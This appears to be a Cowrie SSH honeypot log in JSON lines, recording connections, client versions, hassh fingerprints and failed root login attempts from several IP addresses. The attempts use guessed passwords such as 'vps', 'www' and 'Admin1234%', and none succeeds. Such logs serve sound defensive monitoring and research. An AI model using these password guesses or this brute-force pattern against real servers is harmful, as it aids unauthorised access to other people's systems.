{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:52:26.916834Z","src_ip":"114.217.53.0","session":"0855fccd8443","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:52:27.161081Z","src_ip":"114.217.53.0","session":"0855fccd8443","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:52:27.696211Z","src_ip":"78.40.37.143","session":"9c2186786e01","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vps","message":"login attempt [root/vps] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:52:27.884902Z","src_ip":"114.217.53.0","session":"0855fccd8443","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.243.147.237","src_port":53407,"dst_ip":"159.203.135.109","dst_port":22,"session":"a56826c1eb8f","protocol":"ssh","message":"New connection: 162.243.147.237:53407 (159.203.135.109:22) [session: a56826c1eb8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:52:28.390731Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:52:28.394829Z","src_ip":"162.243.147.237","session":"a56826c1eb8f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:52:28.466134Z","src_ip":"162.243.147.237","session":"a56826c1eb8f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456AA","message":"login attempt [root/123456AA] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:52:28.775066Z","src_ip":"162.243.147.237","session":"a56826c1eb8f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:52:29.120974Z","src_ip":"114.217.53.0","session":"0855fccd8443","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"114.217.53.0","src_port":35342,"dst_ip":"10.17.0.5","dst_port":22,"session":"7ea254be2292","protocol":"ssh","message":"New connection: 114.217.53.0:35342 (10.17.0.5:22) [session: 7ea254be2292]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:52:29.336877Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:52:29.342103Z","src_ip":"114.217.53.0","session":"7ea254be2292","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:52:29.570172Z","src_ip":"114.217.53.0","session":"7ea254be2292","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:52:29.847897Z","src_ip":"162.243.147.237","session":"a56826c1eb8f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"host","message":"login attempt [root/host] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:52:30.249287Z","src_ip":"114.217.53.0","session":"7ea254be2292","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:52:31.477246Z","src_ip":"114.217.53.0","session":"7ea254be2292","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"114.217.53.0","src_port":37298,"dst_ip":"10.17.0.5","dst_port":22,"session":"97b6b76e3eae","protocol":"ssh","message":"New connection: 114.217.53.0:37298 (10.17.0.5:22) [session: 97b6b76e3eae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:52:31.703979Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:52:31.708397Z","src_ip":"114.217.53.0","session":"97b6b76e3eae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:52:31.935078Z","src_ip":"114.217.53.0","session":"97b6b76e3eae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"www","message":"login attempt [root/www] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:52:32.624657Z","src_ip":"114.217.53.0","session":"97b6b76e3eae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.46.75","src_port":39506,"dst_ip":"159.203.135.109","dst_port":22,"session":"86290aeeda10","protocol":"ssh","message":"New connection: 43.153.46.75:39506 (159.203.135.109:22) [session: 86290aeeda10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:52:33.226137Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:52:33.230851Z","src_ip":"43.153.46.75","session":"86290aeeda10","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:52:33.299152Z","src_ip":"43.153.46.75","session":"86290aeeda10","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lukas123","message":"login attempt [root/lukas123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:52:33.603235Z","src_ip":"43.153.46.75","session":"86290aeeda10","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:52:33.859025Z","src_ip":"114.217.53.0","session":"97b6b76e3eae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"114.217.53.0","src_port":39290,"dst_ip":"10.17.0.5","dst_port":22,"session":"b4a9d936d5fc","protocol":"ssh","message":"New connection: 114.217.53.0:39290 (10.17.0.5:22) [session: b4a9d936d5fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:52:34.061867Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:52:34.066690Z","src_ip":"114.217.53.0","session":"b4a9d936d5fc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:52:34.300369Z","src_ip":"114.217.53.0","session":"b4a9d936d5fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:52:34.674045Z","src_ip":"43.153.46.75","session":"86290aeeda10","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"web","message":"login attempt [root/web] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:52:34.965457Z","src_ip":"114.217.53.0","session":"b4a9d936d5fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:52:36.183538Z","src_ip":"114.217.53.0","session":"b4a9d936d5fc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"114.217.53.0","src_port":41170,"dst_ip":"10.17.0.5","dst_port":22,"session":"0d90e36536f3","protocol":"ssh","message":"New connection: 114.217.53.0:41170 (10.17.0.5:22) [session: 0d90e36536f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:52:36.409140Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:52:36.412988Z","src_ip":"114.217.53.0","session":"0d90e36536f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:52:36.629582Z","src_ip":"114.217.53.0","session":"0d90e36536f3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"default","message":"login attempt [root/default] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:52:37.303694Z","src_ip":"114.217.53.0","session":"0d90e36536f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:52:38.537744Z","src_ip":"114.217.53.0","session":"0d90e36536f3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.154.34.232","src_port":54256,"dst_ip":"10.17.0.5","dst_port":22,"session":"61de2b2062f3","protocol":"ssh","message":"New connection: 94.154.34.232:54256 (10.17.0.5:22) [session: 61de2b2062f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:52:38.632328Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:52:38.636496Z","src_ip":"94.154.34.232","session":"61de2b2062f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:52:38.760488Z","src_ip":"94.154.34.232","session":"61de2b2062f3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin1234%","message":"login attempt [root/Admin1234%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:52:39.283975Z","src_ip":"94.154.34.232","session":"61de2b2062f3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"114.217.53.0","src_port":43098,"dst_ip":"10.17.0.5","dst_port":22,"session":"fef9d3cba88f","protocol":"ssh","message":"New connection: 114.217.53.0:43098 (10.17.0.5:22) [session: fef9d3cba88f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:52:39.778208Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:52:39.784093Z","src_ip":"114.217.53.0","session":"fef9d3cba88f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:52:40.406616Z","src_ip":"94.154.34.232","session":"61de2b2062f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:52:40.489399Z","src_ip":"114.217.53.0","session":"fef9d3cba88f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"administrator","message":"login attempt [root/administrator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:52:41.179182Z","src_ip":"114.217.53.0","session":"fef9d3cba88f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:52:42.408604Z","src_ip":"114.217.53.0","session":"fef9d3cba88f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"114.217.53.0","src_port":46474,"dst_ip":"10.17.0.5","dst_port":22,"session":"be0366555a6a","protocol":"ssh","message":"New connection: 114.217.53.0:46474 (10.17.0.5:22) [session: be0366555a6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:52:42.634258Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:52:42.640768Z","src_ip":"114.217.53.0","session":"be0366555a6a","protocol":"ssh"}
